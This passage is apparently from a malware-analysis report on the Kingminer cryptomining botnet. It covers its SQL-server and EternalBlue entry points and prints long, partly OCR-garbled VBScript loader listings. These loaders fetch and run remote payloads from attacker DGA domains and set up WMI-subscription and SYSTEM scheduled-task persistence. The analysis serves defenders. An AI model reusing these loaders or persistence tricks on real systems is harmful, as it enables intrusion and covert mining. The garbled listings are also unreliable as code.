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| Technical Analysis of a Kingminer Infection

Initial Access

The infection usually starts from an SQL server process (sglservr.exe) or a Print Spooler Service process (spoolsv.exe).
The versions of SQL servers on victim machines are up to date and have no known 0-day vulnerabilities. Attackers
exploit configuration flaws such as weak passwords and default credentials to obtain access to the server and schedule
malicious commands for execution. Executions starting from spoolsv.exe are caused by attackers exploiting machines
vulnerable to EternalBlue (CVE-2017-0144 [4]).

When attackers gain access to either an sqlservr.exe process or a spoolsv.exe process, they first want to ensure that the
attacked environment meets predefined criteria. To achieve this, the following command is run:

cmd /c ver |findstr “5.0 5.1 5.2 6.0 6.1” && wmic gfe GET hotfixid |[findstr /i «kb4499175
kb4500331» | |[wmic RDTOGGLE WHERE ServerName= >$COMPUTERNAMES > call SetAllowTSConnections 0

This command pipes together three helpful functions to the attacker:

e ver|findstr “5.05.1 5.2 6.0 6.1”- searches for specific Windows versions

e wmic qfe GET hotfixid | findstr /i “kb4499175 kb4500331" - searches with the help of WMI (Windows Management
Instrumentation) if specific Windows Updates are installed on the system. WMI is often used by advanced malware
for discovery, command execution and defense evasion.

o kb4499175 fixes Microarchitectural Data Sampling vulnerabilities
e kb4500331 fixes CVE-2019-0708 [5], a remote code execution vulnerability in Remote Desktop Protocol

e wmic RDTOGGLE WHERE ServerName="%COMPUTERNAME%’ call SetAllowTSConnections 0 - disables Remote Desktop

connections to the target machine, with the help of WMI

When everything is ready, the attackers begin downloading and executing their tools. Download and execution of the bot
is completely file-less. First, Powershell downloads and executes Mimikatz, then Mshta runs a custom-made polymorphic
script obtained from the attacker’s server. Both Mimikatz and the first stage script are downloaded and executed in-
memory, without ever being saved to a file on the disk. We continue to analyze the first stage scripts capabilities in the
following.

Execution flow

Execution starts from either a sqlservr.exe process or a spoolsv.exe process. After that, it branches quickly into multiple
different scripts. Various threads of execution can be seen in the following graph:
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Now, let’s take each step apart and see the various techniques employed.

First Stage VBScript

The first stage loader is called r1.txt and its goal is to ensure persistence on the system and to deliver the following stages.
The variables in scripts are random, with strings encoded with hexadecimal values of each character. The function at the
end of the file is responsible for transforming these arrays back to interpretable form. With the essential strings decoded,
the script looks like below.

Listing of r1.txt

Const zdmdcvgrnp = 2

Const anpotcjuad 1

Const xumfurbwlu 0

On Error Resume Next

cgenynybltj = “on error resume next:Dim al, b, c,u:Set al = CreateOb-

ject ("WScript.Shell”):Set b = al.Exec(“nslookup news.g23thr.com”) :Do While Not

b.” & “StdOut.AtEndOfStream:c = b.StdOut.ReadAll () :Loop:Dim d,e, f:u = (hex( (-

year (now () ) -2000) &Month (now () ) & (day (now () ) \32) & (year (now () )-2000))) &”fdae.com”:Set d =
New RegExp:d.Pattern = “(\d{1,3})\. (\d{1,3})\.(\d{1,3})\.(120)”:d.IgnoreCase = False:d.
Global = True:Set e = d.Execute(c):If e.Count > 0 Then:u = chr(e.Item(0) .submatches.
Item(0)) &chr(e.Item(0) .submatches.Item(l)) &chr(e.Item(0) .submatches.Item(2)) &chr(e.
Item(0) .submatches.Item(3))&”fghh.com”:End If:Function a(ByVal s):For i = 1 To Len(s)
Step 2:c = Mid(s, i, 2):If IsNumeric(Mid(s, i, 1)) Then:a = a & Chr (“&H” & c):Else:a =
a & Chr(“&H” & ¢ & Mid(s, 1 + 2, 2)):1 = 1 4+ 2:End If:Next:End Function:Set h = Cre-
ateObject ("MSXML2.ServerXMLHTTP”) :h.SetTimeOuts 10000,10000,10000,60000:h.open “GET”,
“http://”&minute (now () ) &second (now ()) &”.”&u&”/tan.txt”, false:h.send() :execute(a(h.re-
sponseText))”
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pveiloxdeaxavbget = “622C20632C753A536574206131203D204372656174654F6
26RA6563742822575363726970742E5368656C6C22293A5365742062203D2061312E45
78656328226E736C0F6F6B7570206E6577732E6732337468722E636F6D22293A446F -
205768696C65204E6F7420622E5374644F75742E4174456E644F6653747265616D3A63203D20622E
5374644F75742E52656164416C6C28293RA4C6F6FT703RA44696D20642C652C20663A75203D20286865
782828796561722860E6F772829292D3230303029264D6F6ET7468280E6F772829292628646179286E
6F772829295C333229262879656172286E6F772829292D323030302929292622666461652E636F -
6D223A5365742064203D204E6577205265674578703RA642E5061747465726E203D~-
2022285C647B312C337D295C2E285C647B312C337D295C2E285C647B312C337D295C2E~
2831323029223R642E49676E6F726543617365203D2046616C73653A642E476C6F62616C203D2
0547275653A5365742065203D20642E457865637574652863293A496620652E~
436F756E74203E2030205468656E3A75203D2063687228652E4974656D2830292E7375626D~
6174636865732E4974656D283029292663687228652E4974656D2830292E7375626D6174636865732E4
974656D28312929266” & “3687228652E4974656D2830292E7375626D6174636865732E4974656D~
283229292663687228652E4974656D2830292E7375626D6174636865732E497465
6D283329292622666768682E636F6D223A456E642049663RA46756E6374696F6E~
206128427956616C2073293R466F722069203D203120546F204C656E28732920537465702032
3A63203D204D696428732C20692C2032293A49662049734E756D65726963284D696428732C~
20692C20312929205468656E3A61203D2061202620436872282226482220262063293A456C
73653A61203D20612026204368722822264822202620632026204D696428732C2069202B~-
20322C203229293A69203D2069202B20323A456E642049663RA4E6578743A4506E642046756E6374696F -~
6E3A4765744F626A65637428227363726970743A222622687474703A2F2F22266D696E757465286E6F~
77282929267365636F6E64286E6F7728292926222E22267526222F74616E312E7478742229”
Randomize

rglgjgnuabnchgegaj = Int (Rnd*12)+20

gazclrgzz = Int (Rnd*12)+20

iwzkggbtjy = Int (Rnd*12)+20

kpzthagtn = Int (Rnd*12)+20

gfxrhowfxcszgmmww = Int (Rnd*12)+20

gbzabgpb = pbcwizsbdtkz (cgenynyblty)

vpgrknzaed = hyczpegyfnc (Replace (gbzabgpb, pbcwizsbdtkz (“ta”) & pbcwizsbdtkz (“n.tx-
t”) ,pbcwizsbdtkz (“mgxbo”) & pbcwizsbdtkz (“x.txt”)))

rwmgpgbkfvupweahabp = hyczpegyfnc (Replace (gbzabgpb, pbcwizsbdtkz (V“tan.tx”) & pbcwizsb-
dtkz (“74”) ,pbcwizsbdtkz (“pow.tx”) & pbcwizsbdtkz (“t”)))

ynxuimhwwcfhcshwh = hyczpegyfnc (Replace (pbcwizsbdtkz (pveioxdeaxavbget) , pbcwizsbdt-
kz (“74”) & pbcwizsbdtkz (“anl.txt”),pbcwizsbdtkz (“rl”) & pbcwizsbdtkz (“1.txt”)))
iiaslrnx = “Function zagxswcdevfrbgtweeertt (ByVal sgghjjjjjjjyyu) :For 1 = 1 To Len(s-
gghjjjjjjjyyu) Step 2:c = Mid(sgghjjjjjjjyyu, i, 2):zagxswcdevifrbgtweeertt = zagxs”
& “wcdevfrbgtweeertt & Chr (“&H” & c Xor passb Xor passé4 Xor pass3 Xor pass2 Xor
passl) :Next:End Function:execute zagxswcdevfrbgtweeertt (“smm”)”

vtcdewpen = “-c “$sc = New-Object -ComObject ScriptControl;$sc.Language = ‘VBS” &
“cript’;$p='zaq’;Sp = for($i=0; S$i -1t S$p.length; $i+=2) {[char] (([byte] [char][in-
t]::Parse($p.substring($i,2),’HexNumber’)) -bxor passb -bxor passd -bxor pass3 -bxor
pass2 -bxor passl)};S$sc.AddCode((-join $p) -join Y Y)””

iiaslrnx = pbcwizsbdtkz (iiaslrnx)

vtcdewpen = pbcwizsbdtkz (vtcdewpen)

tpejhigrilrwe = Replace (vtcdewpen, pbcwizsbdtkz (“pass”) & pbcwizsbdtkz (“1”),ervseef-

g (rglgjgnuabnchgegaij))

tpejhigrilrwe = Replace (tpejhiqgrflrwc, pbcwizsbdtkz (“pass”) & pbcwizsbdtkz (“32”),erv-
seefg(gazclrgzz))

tpejhigrilrwe = Replace (tpejhiqgrflrwc, pbcwizsbdtkz (“p”) & pbcwizsbdtkz (“Yass3”),ervseef-
g (iwzkggbtjy))

tpejhigrilrwe = Replace (tpejhiqgrflrwc, pbcwizsbdtkz (“p”) & pbcwizsbdtkz (“Yass4”),ervseef-
g (kpzthagtn))

tpejhigrilrwe = Replace (tpejhiqgrflrwc, pbcwizsbdtkz (Ypa”) & pbcwizsbdtkz (“ss5”),ervseef-
g (gfxrhowfxcszgmmww) )

dlwhwogntreex = Replace (tpejhiqgrilrwc, pbcwizsbdtkz (Yzaqg”) ,ervseefqg (rwmgpgbkfvupwea-
habp) )

hgumuecevijgsdskytv = Replace (tpejhiqgrflrwc, pbcwizsbdtkz (V" 7a6171”) ,ervseefqg (ynx-—

uimhwwcfhcshwh))

6
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hgumuecevijgsdskytv = Replace (hqumuecevijgsdskytv, pbcwizsbdtkz (V24”) & pbcwizsbdt-
kz ("73632e416464”) ,pbcwizsbdtkz (V"53746172742d536c656570202d5365636£6e6473203132303b24")
& pbcwizsbdtkz (V"73632e416464"7))

iiaslrnx = Replace (iiaslrnx, pbcwizsbdtkz (“smm”),ervseefqg (vpgrknzaed))

iiaslrnx = Replace (iiaslrnx,pbcwizsbdtkz (“pas”) & pbcwizsbdtkz (“sl”),ervseefg(rglgjg-
nuabnchgegaj))

iiaslrnx = Replace (iiaslrnx,pbcwizsbdtkz (“pa”) & pbcwizsbdtkz (“ss2”),ervseefg(gazcl-
rgzz))

iiaslrnx = Replace (iiaslrnx,pbcwizsbdtkz (“p”) & pbcwizsbdtkz (“Yass3”),ervseefg(iwz-
kggbtjy))

iiaslrnx = Replace (iiaslrnx,pbcwizsbdtkz (“pas”) & pbcwizsbdtkz (“s4”),ervseefg(kpz-
thagtn))

iiaslrnx = Replace (iiaslrnx, pbcwizsbdtkz (“pass”) & pbcwizsbdtkz (“5”),ervseefg(gfx-
rhowfxcszgmmww) )

eghlmdgop = iiaslrnx

gohcilrocwfesgfjahhs = pbcwizsbdtkz (“winmgmts:\\.\root”) & pbcwizsbdtkz (“\cimv2:”)
aeqmshupcgm = pbcwizsbdtkz (“winmgmts:\\.\root\sub”) & pbcwizsbdtkz (“scription:”)
oduamvztnvtr = pbcwizsbdtkz (“Win”) & pbcwizsbdtkz (“dowsSystemManager”)

vgjgetsuavgg = 960000

Set ggohaaaoltgi = GetObject (ervseefg (aegmshupcgm) &pbcwizsbdtkz ("ActiveScriptEvent-
Co”) & pbcwizsbdtkz (“nsumer”)) .spawninstance

ggohaaaoltgi.name = ervseefg (oduamvztnvtr) &épbcwizsbdtkz (Y co”) & pbcwizsbdtkz (“nsum-
er”)

ggohaaaoltgi.scriptingengine = pbcwizsbdtkz (“vbscri”) & pbcwizsbdtkz (“pt”)
ggohaaaoltgi.scripttext = eghlmdgop

Set hxihbrxxc = ggohaaaoltgi.put

Set wdyzxwnkztbwzjprgg = GetObject (ervseefg (aegmshupcgm) &épbcwizsbdtkz (Y IntervalTim-
erInstruc”) & pbcwizsbdtkz (“tion”)) .spawninstance

wdyzxwnkztbwzjprgg.timerid = ervseefg (oduamvztnvtr) &épbcwizsbdtkz (Y WM”) & pbcwizsbdt-
kz ("ITimexr”)

wdyzxwnkztbwzjprgg.intervalbetweenevents = vagjgetsuavag
wdyzxwnkztbwzjprgg.skipifpassed = False

wdyzxwnkztbwzjprgg.put

Set sadorygozaymga = GetObject (ervseefg (aegmshupcgm) &épbcwizsbdtkz (Y Event”) & pb-
cwizsbdtkz (“Filter”)) .spawninstance

sadorygozaymga.name = ervseefg (oduamvztnvtr) &épbcwizsbdtkz (* filte”) & pbcwizsbdt-

kz (“r”)

sadorygozaymga.query = “select * from _ timerevent where timerid = wWrrgervseef-

g (oduamvztnvtr) &” WMITimer”””

sadorygozaymga.querylanguage = pbcwizsbdtkz (V77716c”)

Set rrlnmtmyjdazgg = sadorygozaymga.put

Set zxfgfilhpi = GetObject (ervseefg (aegmshupcgm) &épbcwizsbdtkz (Y  FilterToCon”) & pb-
cwizsbdtkz (“sumerBinding”)) .spawninstance

zxfgfilhpi.consumer = hxihbrxxc.path

zxfgfilhpi.Filter = rrlnmtmyjdazqgg.path

zxfgfilhpi.put

Function nocjinucpt ()

strComputer = pbcwizsbdtkz (“2e”)

Set podozwtglncyub = GetObject (pbcwizsbdtkz (“win”) & pbcwizsbdtkz (“mgmts:\\”) & str-
Computer & pbcwizsbdtkz (“\ro”) & pbcwizsbdtkz (“ot\cimv2”))

Set yegboijbjth = podozwtglncyub.ExecQuery (pbcwizsbdtkz (“Select * £”) & pbcwizsbdt-
kz (“rom Win32 ComputerSystem”),,48)

For Each objItem In yegboijbjth

If InStr(objItem.SystemType, pbcwizsbdtkz (“3836”)) <> 0 Then

nocjinucpt = pbcwizsbdtkz (“783836")

ElseIf InStr(objItem.SystemType, pbcwizsbdtkz (“"3634”)) <> 0 Then

nocjinucpt = pbcwizsbdtkz (V783634")

Else

nocjinucpt = pbcwizsbdtkz (“783836")

End If

Next
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End Function
Function polzjgzax ()

If nocjinucpt() = pbcwizsbdtkz (“x64”) Then

sMob = pbcwizsbdtkz ("$SystemRoot$\syswowb4\WindowsPowerShell\v1l”) & pbcwizsbdtkz (“.0\
powershell.exe”)

Else

sMob = pbcwizsbdtkz (“powershe”) & pbcwizsbdtkz (“1l.exe”)

End If

Const gizdzdoicuacibijmar = 1

Const gkrlxjgixvsvijlrvt = 0

Set eawzmvpenfl = CreateObject (pbcwizsbdtkz (“Schedule.S”) & pbcwizsbdtkz (Yervice”))

Call eawzmvpenfl.Connect
Dim llolegkf

Set llolegkf = eawzmvpenfl.GetFolder (pbcwizsbdtkz (“\”))

Dim gfkrkntdmg

Set gfkrkntdmg = eawzmvpenfl.NewTask (O)

Dim wcxemjygjmuuj

Set wexemjygjmuuj = gfkrkntdmg.principal

wcxemjygjmuuj .UserId = pbcwizsbdtkz ("NT AUTH”) & pbcwizsbdtkz (YORITY\SYSTEM”)
wcxemjygjmuu]j .RunLevel = 1

Dim jdxzbahzl

Set jdxzbahzl = qgfkrkntdmg.settings

jdxzbahzl.Enabled = True

jdxzbahzl.StartWhenAvailable = True

jdxzbahzl.Hidden = False

Dim jnnecumyryfxzri

Set jnnecumyryfxzri = qgfkrkntdmg.triggers

Dim ehybtnwgp

Set ehybtnwgp = Jjnnecumyryfxzri.Create(gizdzdoicuacibijmar)

Dim startTime, endTime
Dim Time

Time = DateAdd (pbcwizsbdtkz (“s”), 60, Now)
startTime = trltuhljoinkozc (Time)
ehybtnwgp.StartBoundary = startTime

ehybtnwgp.Enabled = True
Dim tvmggoxkjhigagpfzlvx
Set tvmggoxkjhigagpfzlvx = ehybtnwgp.Repetition

tvmggoxkjhigagpfzlvx.Interval = pbcwizsbdtkz (“"PT”) & pbcwizsbdtkz (“28”) & pbcwizsbdt-
kz (“M”)

Dim rmmjjktopxx

Set rmmjjktopxx = qgfkrkntdmg.Actions.Create(gkrlxjgixvsvijlrvt)

rmmjjktopxx.Path = sMob

rmmjjktopxx.Arguments = dlwhwogntreex

Call llolegkf.RegisterTaskDefinition (pbcwizsbdtkz (“Window”) & pbcwizsbdtkz (“sUpdateMoni-
tor”), gfkrkntdmg, 6, , , 3)

polzjgzax = 5

End Function

Function trltuhljoinkozc(t)

Dim cSecond, cMinute, CHour, cDay, cMonth, cYear
Dim tTime, tDate

cSecond = pbcwizsbdtkz (“0”) & Second(t)

cMinute = pbcwizsbdtkz (“30”) & Minute (t)

cHour = pbcwizsbdtkz (“30”) & Hour (t)

cDay = pbcwizsbdtkz (“30”) & Day(t)

cMonth = pbcwizsbdtkz (“30”) & Month (t)

cYear = Year(t)

tTime = Right(cHour, zdmdcvgrnp) & pbcwizsbdtkz (“3a”) & Right(cMinute, zdmdcvgrnp) &
pbcwizsbdtkz (V:”) & Right (cSecond, zdmdcvgrnp)

tDate = cYear & pbcwizsbdtkz (“2d”) & Right (cMonth, zdmdcvgrnp) & pbcwizsbdtkz (“2d”) &

Right (cDay, zdmdcvgrnp)

8
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trltuhljoinkozc = tDate & pbcwizsbdtkz (“"T”) & tTime
End Function

ztwhyaqgygfbhcx = polzjgzax ()

Function oehralhsvmhmil ()

If nocjinucpt() = pbcwizsbdtkz (“*x64”) Then

sMob = pbcwizsbdtkz (“"$SystemRoot%$\syswo”) & pbcwizsbdtkz (“wé64\WindowsPowerShell\v1l.0\
powershell.exe”)

Else

sMob = pbcwizsbdtkz (“*706£7765727368656c6c2e”) & pbcwizsbdtkz (V657865”)

End If

Const xiuoukfbjwlviknr = 8
Const gkrlxjgixvsvijlrvt = 0

Set eawzmvpenfl = CreateObject (pbcwizsbdtkz (“Schedul”) & pbcwizsbdtkz (“Ye.Service”))
Call eawzmvpenfl.Connect

Dim llolegkf

Set llolegkf = eawzmvpenfl.GetFolder (pbcwizsbdtkz (“5c”))

Dim gfkrkntdmg

Set gfkrkntdmg = eawzmvpenfl.NewTask (O)

Dim wcxemjygjmuuj

Set wexemjygjmuuj = gfkrkntdmg.principal

wcxemjygjmuu]j .UserId = pbcwizsbdtkz (WNT AUTHORIT”) & pbcwizsbdtkz ("Y\SYSTEM”)
wcxemjygjmuuj .RunLevel = 1

Dim jdxzbahzl

Set jdxzbahzl = gfkrkntdmg.settings

jdxzbahzl.Enabled = True

jdxzbahzl.StartWhenAvailable = True

jdxzbahzl.Hidden = False

Dim jnnecumyryfxzri

Set jnnecumyryfxzri = gfkrkntdmg.triggers

Dim ehybtnwgp

Set ehybtnwgp = jnnecumyryfxzri.Create (xiuoukfbjwlviknr)

ehybtnwgp.Enabled = True

Dim rmmjjktopxx

Set rmmjjktopxx = gfkrkntdmg.Actions.Create (gkrlxjgixvsvijlrvt)
rmmjjktopxx.Path = sMob

rmmjjktopxx.Arguments = hgumuecevijgsdskytv

Call llolegkf.RegisterTaskDefinition (pbcwizsbdtkz (“Window”) & pbcwizsbdtkz (“sSystemHelp-
er”), gfkrkntdmg, 6, , , 3)

oehralhsvmhmil = 5

End Function

ccrimlvr = oehralhsvmhmil ()

Function hyczpegyfnc (ByVal vpgrknzaed)

For 1 = 1 To Len (vpgrknzaed)

hyczpegyfnc = hyczpegyfnc & Hex (Asc (Mid(vpgrknzaed, i, anpotcjuad)) Xor rglgjgnuab-
nchgegaj Xor gazclrgzz Xor iwzkggbtjy Xor kpzthagtn Xor gfxrhowfxcszgmmww)
Next

End Function

Function ervseefg (ByVal vpgrknzaed)

ervseefg = vpgrknzaed

End Function

Function pbcwizsbdtkz (ByVal vpgrknzaed)

For i = 1 To Len(vpgrknzaed) Step 2

c = Mid (vpgrknzaed, i, zdmdcvgrnp)

pbcwizsbdtkz = pbcwizsbdtkz & Chr (Chr(38) & Chr(72) & c)

Next

End Function

Three branches of execution are achieved by this script; WMI-based payload execution and two scheduled tasks, Windows
System Helper and Windows Update Monitor. We analyze them individually in the following sections.
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WMI Event Subscription-based execution

The first branch is based on registering an active script consumer to execute periodically. The script calls GetObject
on each of the requested object, providing the namespace winmgmts:\\\\.\\root\\subscription: and then calling

the _spawninstance method of each class to obtain instances of WMI classes. The script spawns an instance of
ActiveScriptEventConsumer [6] (line 40), sets its name to WindowsSystemManager_consumer, and assigns a VBScript
to it that resides under the variable eghimdqop. Then, it spawns an instance of __IntervalTimerInstruction [7] (line 45),
sets its timer id to WindowsSystemManager_WMITimer, and sets its interval to 960000 ms. The next spawned object is
__EventFilter [8] (line 50), which executes the query

select * from  timerevent where timerid = “WindowsSystemManager WMITimer”

to filter only the timer event registered above. Finally, it spawns __FilterToConsumerBinding [9] (line 55) and links the
event filter to the consumer. This way, every 16 minutes, when WindowsSystemManager_WMITimer triggers, the script
eqghimdgop is called. The script decrypts the big blob of hexadecimal numbers and executes the result, which is a
downloader script used in more of the subsequent steps.

Downloader Script and Domain Generation Algorithm

Listing of downloader script

on error resume next:Dim al, b, c,u:Set al = CreateObject (“WScript.Shell”):Set b =
al.Exec (“nslookup news.g23thr.com”) :Do While Not b.StdOut.AtEndOfStream:c = b.StdOut.
ReadAll () :Loop:Dim d,e, f:u = (hex((year (now())-2000)&Month (now ())& (day (now())\32)& (-
year (now () )—-2000))) &”fdae.com”:Set d = New RegExp:d.Pattern = “(\d{1,3})\.(\d{1,3})\.
(\d{1,3})\.(120)”:d.IgnoreCase = False:d.Global = True:Set e = d.Execute(c):If e.Count
> 0 Then:u = chr(e.Item(0).submatches.Item(0))&chr(e.Item(0) .submatches.Item (1)) &chr(e.
Item(0) .submatches.Item(2)) &chr(e.Item(0) .submatches.Item(3))&”fghh.com”:End If:Func-
tion a(ByVal s):For 1 = 1 To Len(s) Step 2:c = Mid(s, i, 2):If IsNumeric(Mid(s, 1i,

1)) Then:a = a & Chr (“&¢H” & c):Else:a = a & Chr(“&¢H” & ¢ & Mid(s, 1 + 2, 2)):1 =1 +
2:End If:Next:End Function:Set h = CreateObject (“"MSXML2.ServerXMLHTTP”) :h.SetTimeOuts
10000,10000,10000,60000:h.open “GET”, “http://”&minute (now()) &second(now())&”.”s&u&”/
mgxbox.txt”, false:h.send() :execute(a(h.responseText))

It first checks if news.g23thr.com resolves to an IP address to ensure the computer has an internet connection. It then
applies its Domain Generation Algorithm to obtain the currently valid attacker URL. The string consists of the current
minute and second concatenated with the hexadecimal value of the number formed by <year + month + ‘0’ + year>
together with fdae.com. So if the date is the 23rd of June 2020, it would form the number 206020, the minute is 18 and
the second is 30 then the URL would look like:

1830.324C4fdae.com/<payload_name>

Finally, the script downloads msgbox.txt from the server and executes it in-memory. At first glance, this script seems very
similar to the first stage script (r1.txt), using the same variable randomization techniques and string decoding with the
function at the end; however, its goal is different, as shown below.

Listing of msgbox.txt

Const mmrvsowgpi = 2

Const sjuztpiajd 1

Const hktvywfcyu = 0

Dim cpan, banben,weishu,exelu,worklu,mulu, klu, fso,cpllu,mklu, kwenjian,cplwen,ws,url

On Error Resume Next

Set anhywquhuxkmsbrah = CreateObject (tlcyyzdozckfwgjlapy (“wscrip”) & tlcyyzdozckfwgjla-
py (“t.shell”))

Set fso=CreateObject (tlcyyzdozckfwgjlapy (“scripting.filesyste”) & tlcyyzdozckfwgjlapy (-
mobject”))

Function giiwksoqgz ()

Dim res

On Error Resume Next

10
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strComputer = tlcyyzdozckfwgjlapy (™ .”)

Set kowozfxtxewabs = GetObject (tlcyyzdozckfwgjlapy ("“winmgmts:\”) & tlcyyzdozckfwgjla-
py ("\”) & strComputer & tlcyyzdozckfwgjlapy (“\root\cim”) & tlcyyzdozckfwqgjlapy (“v2”))
Set iskbwbanbinyugo = kowozfxtxewabs.ExecQuery (tlcyyzdozckfwgjlapy (“Select * from
Win32 OperatingS”) & tlcyyzdozckfwgjlapy (“ystem”),,48)

res =tlcyyzdozckfwgjlapy (“infoStar”) & tlcyyzdozckfwgjlapy (“t”)

For Each objItem In colItems

giiwksogz = objItem.SystemDrive

Next

End Function

Function hscdgmssmaiehbcguamnv ()

strComputer = tlcyyzdozckfwgjlapy (™ .”)

Set kowozfxtxewabs = GetObject (tlcyyzdozckfwgjlapy (“winm”) & tlcyyzdozckfwgjlapy (“g-
mts:\\”) & strComputer & tlcyyzdozckfwgjlapy (“\root”) & tlcyyzdozckfwgjlapy (“\cimv2”))
Set iskbwbanbinyugqo = kowozfxtxewabs.ExecQuery (tlcyyzdozckfwgjlapy (“Select * from Win”)
& tlcyyzdozckfwgjlapy (“32 ComputerSystem”),,48)

For Each objItem In iskbwbanbinyugo

If InStr(objItem.SystemType, tlcyyzdozckfwgjlapy (“86”)) <> 0 Then
hscdgmssmaiehbcguamv = tlcyyzdozckfwgjlapy (“x86”)

ElseIf InStr(objItem.SystemType, tlcyyzdozckfwgjlapy(“64”)) <> 0 Then
hscdgmssmaiehbcguamv = tlcyyzdozckfwgjlapy (“'x64")

Else

hscdgmssmaiehbcguamv = tlcyyzdozckfwgjlapy (“x86”)

End If

Next

End Function

Function dgvghtrbjhoprcpp (infile, outfile)

Set ins=CreateObject (tlcyyzdozckfwgjlapy (Yadodb.s”) & tlcyyzdozckfwgjlapy (“tream”))
With ins

.type=1

.mode=3

.open

.loadfromfile (infile)

.position=ins.size-2

If ascb(.read(l))=99 And ascb(.read(l))=100 Then

.savetofile outfile, 2

End If

End With

Set ins=Nothing

End Function

Function eeceudtczgdkwtjncas (infile, outfile, moutfile, xornuml, xornum?2, xornum3)

Dim ins,dom,elm, stm, tmp

Set ins=CreateObject (tlcyyzdozckfwgjlapy (Yadodb.st”) & tlcyyzdozckfwgjlapy (“ream”))
Set dom=CreateObject (tlcyyzdozckfwgjlapy (“microso”) & tlcyyzdozckfwgjlapy (“ft.xmldom”))
Set elm=dom.createelement (tlcyyzdozckfwgjlapy (“z”))
elm.datatype=tlcyyzdozckfwgjlapy (“bin”) & tlcyyzdozckfwgjlapy (“.hex”)

Set stm=CreateObject (tlcyyzdozckfwgjlapy (Yadodb”) & tlcyyzdozckfwgjlapy(“.stream”))
With stm

.mode=3

.type=1

.open

End With

With ins

.type=1

.mode=3

.open

.Write infile

.position=0

For i=1 To ins.size

tmp=Hex (ascb (.read (1)) Xor xornuml Xor xornumZ2 Xor xornum3 )

11
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elm.text=tmp

If i=ins.size-1 Then
elm.text=Hex (99)

End If

If i=ins.size Then
elm.text=Hex (100)

End If

If i=ins.size-3 Then
elm.text=Hex (xornuml)
End If

If i=ins.size-4 Then
elm.text=Hex (xornum2)
End If

If i=ins.size-5 Then
elm.text=Hex (xornum3)
End If

stm.write elm.nodetypedvalue
Next

stm.savetofile outfile, 2
stm.savetofile moutfile, 2
.close

End With

stm.close

Set ins=Nothing

Set stm=Nothing

Set elm=Nothing

Set dom=Nothing

End Function

Function mxwkyhinoizevvqg(basel64)
Dim zdpluhudorhtylzotpcn, gxwfgtimkfzwggoxhzaw
CreateObject (tlcyyzdozckfwgjlapy (“Mic”)

Set zdpluhudorhtylzotpcn
py (“rosoft.XMLDOM") )

& tlcyyzdozckfwgjla-

Set gxwfgtimkfzwggoxhzaw = zdpluhudorhtylzotpcn.createElement (tlcyyzdozckfwgjlapy (“t-

mp//) )
gxwfgtimkfzwggoxhzaw.DataType =
py(\\4ll)

gxwfgtijmkfzwggoxhzaw.Text = basel64
mxwkyhinoizevvg = gxwfgtjmkfzwggoxhzaw.NodeTypedValue

End Function
Function wpdpbhrdgigjmb (GetUrl)

tlcyyzdozckfwgjlapy (“bin.base6”)

& tlcyyzdozckfwgjla-

Set anfendjlea = CreateObject (tlcyyzdozckfwgjlapy (Y"MSXML2.ServerXMLHT”) & tlcyyzdozckf-

wgjlapy (V“TP”))

anfendjlea.SetTimeOuts 10000,10000,10000,300000

anfendjlea.SetOption 2,13056

anfendjlea.open tlcyyzdozckfwgjlapy (“GET”),GetUrl,False
anfendjlea.setRequestHeader tlcyyzdozckfwgjlapy (“If-Modi”)
fied-Since”), tlcyyzdozckfwgjlapy (“0”)

anfendjlea.send()

If anfendjlea.ReadyState = 4 And anfendjlea.Status
wpdpbhrdgigjmb = anfendjlea.responseBody

End If
Set anfendjlea

Nothing

If Err.number <> 0 Then Err.Clear

End Function

Function xfwztzstrianbdobpjyg (GetUrl)

& tlcyyzdozckfwgjlapy (N~

Set anfendjlea = CreateObject (tlcyyzdozckfwgjlapy (YMSXML2.ServerXML”) & tlcyyzdozckfwqg-

Jlapy (VHTTP”))

anfendjlea.SetTimeOuts 10000,10000,10000,30000

anfendjlea.SetOption 2,13056

anfendjlea.open tlcyyzdozckfwgjlapy (“GET”),GetUrl,False
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anfendjlea.setRequestHeader tlcyyzdozckfwgjlapy (YIf-Modifi”) & tlcyyzdozckfwqgjlapy-
(“ed-Since”),tlcyyzdozckfwgjlapy (“0")

anfendjlea.send()

If anfendjlea.ReadyState = 4 And anfendjlea.Status = 200 Then

xfwztzstrianbdobpjyg = anfendjlea.ResponseText

End If

Set anfendjlea = Nothing

If Err.number <> 0 Then Err.Clear

End Function

Function epahtbgjownex (base64)

Set awighgwbsbklb = CreateObject (tlcyyzdozckfwgjlapy (YADODB.Str”) & tlcyyzdozckfwgjla-
py (Yeam”))

With awighgwbsbklb

.Type = 1

.Open

.Write mxwkyhinoizevvqg(base64)

.SaveToFile cpllu, 2

.Close

End With

Set awighgwbsbklb = Nothing

End Function

Randomize

passl = Int (Rnd*250)

pass2 Int (Rnd*250)

pass3 Int (Rnd*250)

cpan = giiwksogz ()

weishu = hscdgmssmaiehbcguamv ()

If weishu=tlcyyzdozckfwgjlapy (“x64”) Then

kwenjian=tlcyyzdozckfwgjlapy (“64”) & tlcyyzdozckfwgjlapy (“.txt”)
cplwen=tlcyyzdozckfwgjlapy (“cpl6d.tx”) & tlcyyzdozckfwgjlapy (“t”)

Else

kwenjian=tlcyyzdozckfwgjlapy (“32”) & tlcyyzdozckfwgjlapy (“.txt”)
cplwen=tlcyyzdozckfwgjlapy (“cpl”) & tlcyyzdozckfwgjlapy (“32.txt”)

End If

Set fvyvojwguxjtxtsxjvtv = GetObject (tlcyyzdozckfwgjlapy (“winmgmts:\\.\root\”) & tl-
cyyzdozckfwgjlapy (“cimv2”))

Set bgwtehgcytputysra = fvyvojwguxjtxtsxjvtv.ExecQuery (tlcyyzdozckfwgjlapy (VSELECT *
FROM Win32 Operatin”) & tlcyyzdozckfwgjlapy (“gSystem”))

For Each wmiObject In bgwtehgcytputysra

banben=Split (wmiObject.Version, tlcyyzdozckfwgjlapy (“.”)) (0)

Next

urll=tlcyyzdozckfwgjlapy (“*h”) & tlcyyzdozckfwgjlapy (“ttp://”)&minute (now()) &sec-

ond (now ()) &tlcyyzdozckfwgjlapy (“.”) & (hex ( (year (now ())-2000) &Month (now () ) & (-

day (now () )\32) & (year (now () )-2000))) &tlcyyzdozckfwgjlapy (“f”) & tlcyyzdozckfwgjlapy (-

dae.com/”)

If banben>5 Then

mulu=cpan&tlcyyzdozckfwgjlapy (“"\”) & tlcyyzdozckfwqgjlapy (“Users\Public”)

url=urll

Else

mulu=cpané&tlcyyzdozckfwgjlapy ("\Docume~1\Al11lUse~1\Ap”) & tlcyyzdozckfwgjlapy (“pLIC~1")
url=urll

End If

mklu=mulué&tlcyyzdozckfwgjlapy ("\mum”) & tlcyyzdozckfwgjlapy (“.txt”)

